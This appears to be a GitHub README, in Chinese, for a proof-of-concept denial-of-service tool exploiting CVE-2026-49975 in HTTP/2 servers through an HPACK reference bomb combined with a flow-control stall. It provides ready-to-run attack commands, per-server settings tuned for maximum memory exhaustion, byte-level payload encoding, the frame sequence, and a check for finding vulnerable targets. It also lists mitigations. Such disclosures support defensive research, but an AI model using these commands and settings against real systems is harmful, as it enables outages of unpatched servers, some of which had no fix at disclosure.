mrx-arafat/CVE-2026-49975-POC

GitHub: mrx-arafat/CVE-2026-49975-POC

针对 CVE-2026-49975 HTTP/2 远程拒绝服务漏洞的概念验证工具,利用 HPACK 索引引用炸弹与流控制窗口停滞的组合,以极低带宽实现数千倍内存放大,快速压垮未修补的目标服务器。

Stars: 17 | Forks: 7

# CVE-2026-49975 — HTTP/2 炸弹 PoC [![CVE](https://img.shields.io/badge/CVE-2026--49975-red)](https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-49975) [![Severity](https://img.shields.io/badge/CVSS-9.8-critical)](https://nvd.nist.gov/vuln/detail/CVE-2026-49975) [![Python](https://img.shields.io/badge/python-3.8+-blue)](https://python.org) CVE-2026-49975 的漏洞概念验证代码,这是 HTTP/2 服务器实现中的一个远程拒绝服务漏洞。由 Quang Luong(Calif Security Research)发现,于 2026 年 6 月 2 日披露。 ## 工作原理 该攻击链结合了两种 HTTP/2 协议机制: **1. HPACK 索引引用炸弹** HPACK (RFC 7541) 允许发送方通过索引引用先前见过的 header —— 通常只占一个字节。该漏洞利用程序将一个几乎为空的 header 插入动态表一次,然后引用它数千次。每 1 字节的线上传输引用都会强制服务器为每个条目分配约 70 字节的内部开销。由于不涉及大数值,因此“最大解码 header 大小”限制永远不会触发。 **2. HTTP/2 流控制窗口停滞** 通过通告零字节的接收窗口,攻击者阻止了服务器发送响应或释放任何内存。周期性的 1 字节 `WINDOW_UPDATE` 帧会重置服务器的发送超时,只要连接保持打开状态,就能使分配的内存一直被占用。 **结果:** 每个流发送约 16 KB → 每个流分配并保持约 1.15 MB 的服务器内存。 ## 受影响的服务器 | 服务器 | 放大倍数 | 演示影响 | 状态 | |--------|--------------|-------------|--------| | Envoy 1.37.2 | ~5,700:1 | 约 10 秒内占用 32 GB | 披露时无补丁 | | Apache httpd 2.4.67 | ~4,000:1 | 约 18 秒内占用 32 GB | 已在 mod_http2 v2.0.41 中修复 | | nginx < 1.29.8 | ~70:1 | 约 45 秒内占用 32 GB | **已在 nginx 1.29.8 中修复** | | Microsoft IIS (WS 2025) | ~68:1 | 约 45 秒内占用 64 GB | 披露时无补丁 | | Cloudflare Pingora | ~68:1 | — | 披露时无补丁 | ## 使用说明 无依赖 —— 仅需标准库。 ``` # Basic test(单连接) python3 exploit-test.py target.com 443 # nginx 特有的 bookkeeping 炸弹(推荐用于 nginx 目标) python3 exploit-test.py target.com 443 --mode nginx --threads 50 --streams 30 --headers 16374 # Apache/Envoy cookie-crumb 技术 python3 exploit-test.py target.com 443 --mode classic --threads 20 --streams 30 --headers 5000 # HTTP/2 明文(罕见 — 大多数服务器要求 h2 使用 TLS) python3 exploit-test.py target.com 80 --no-ssl ``` ### 参数 | 标志 | 默认值 | 描述 | |------|---------|-------------| | `target` | — | 主机名或 IP | | `port` | 443 | TCP 端口 | | `--threads` | 1 | 并行连接数(每次关闭时重新连接) | | `--streams` | 10 | 每个连接的 HTTP/2 流数量 | | `--headers` | 5000 | 每个流的 HPACK 索引引用数量 | | `--mode` | nginx | `nginx`(开销,70:1)或 `classic`(大数值,4000:1) | | `--no-ssl` | off | 禁用 TLS (h2c) | ### 内存压力估算 ``` total_streams = threads × streams server_ram_mb = total_streams × headers × amplification_bytes / 1024² # nginx 示例:50 × 30 × 16374 × 70 / 1024² = ~1,647 MB ``` ### 按目标划分的最佳设置 | 目标 | 模式 | `--headers` | 备注 | |--------|------|-------------|-------| | nginx < 1.29.8 | `nginx` | `16374` | 保持在默认的 `http2_max_header_size 16k` 以内 | | Apache httpd | `classic` | `5000` | Cookie 碎片技术 | | Envoy | `classic` | `32000` | 高放大倍数 | ## 检查目标是否存在漏洞 ``` # 确认 HTTP/2 支持及服务器版本 curl -sv --http2 https://target.com/ 2>&1 | grep -E "ALPN|HTTP/2|server:" # 满足以下条件即为存在漏洞: # - ALPN:服务器接受 h2(已启用 HTTP/2) # - server:nginx/X.Y.Z(其中 X.Y.Z < 1.29.8) ``` ## 缓解措施 **nginx** —— 升级至 1.29.8+ 并添加: ``` http2 max_headers 1000; ``` 或完全禁用 HTTP/2: ``` # 从 listen 指令中移除 "http2" listen 443 ssl; ``` **Apache httpd** —— 将 mod_http2 升级至 v2.0.41+。临时方案:`Protocols http/1.1` **IIS / Envoy / Pingora** —— 截至撰写本文时无可用补丁。请禁用 HTTP/2 或在前面使用已打补丁的代理。 **常规(所有服务器):** ``` # 限制 worker 内存以缩小影响范围 ulimit -v 2097152 # 2 GB per process # Docker:--memory="2g" --memory-swap="2g" ``` ## 技术细节 ### HPACK 编码 ``` Dynamic table seed (incremental indexing, adds to index 62): 0x40 | name_len | name | value_len | value = 0x40 0x06 "x-bomb" 0x00 Indexed reference to entry 62 (1 byte each): 0x80 | 62 = 0xbe Wire payload per stream = 9 bytes (seed) + N bytes (N references) Server allocation per ref ≈ sizeof(ngx_table_elt_t) ≈ 70 bytes ``` ### HTTP/2 帧序列 ``` Client → Server: PRI * HTTP/2.0\r\n\r\nSM\r\n\r\n (preface) SETTINGS [INITIAL_WINDOW_SIZE=0] (stall setup) SETTINGS ACK (after reading server SETTINGS) HEADERS [stream 1] ← bomb payload (pseudo-headers + HPACK bomb) HEADERS [stream 3] ← bomb payload ... WINDOW_UPDATE(1) per stream / 1s (keep-alive stall) ``` ## 文件列表 | 文件 | 描述 | |------|-------------| | `exploit-test.py` | 主 PoC —— 多流、持续重连、nginx 及 classic 模式 | | `SECURITY-REPORT-MIST.md` | 针对 mist.ac.bd 的授权评估报告 | | `LICENSE` | MIT | ## 参考文献 - [CVE-2026-49975](https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-49975) - RFC 7541 §7.3 — HPACK 内存消耗 - RFC 9113 §8.2.3 — Cookie header 拆分 - [CVE-2016-6581](https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2016-6581) — 原始 HPACK 炸弹(Cory Benfield, 2016) - [CVE-2025-53020](https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2025-53020) — Apache HPACK 4000:1(Gal Bar Nahum, 2025)
标签:0day漏洞, Apache, CVE-2026-49975, DDoS, DoS, Envoy, HPACK炸弹, HTTP/2, IIS, MacOS取证, Maven, Nginx, PoC, Python, Zero-day, 内存耗尽, 内核驱动, 拒绝服务, 放大攻击, 数据展示, 无后门, 暴力破解, 流量控制, 漏洞验证, 红队, 网络协议, 网络安全, 资源耗尽, 隐私保护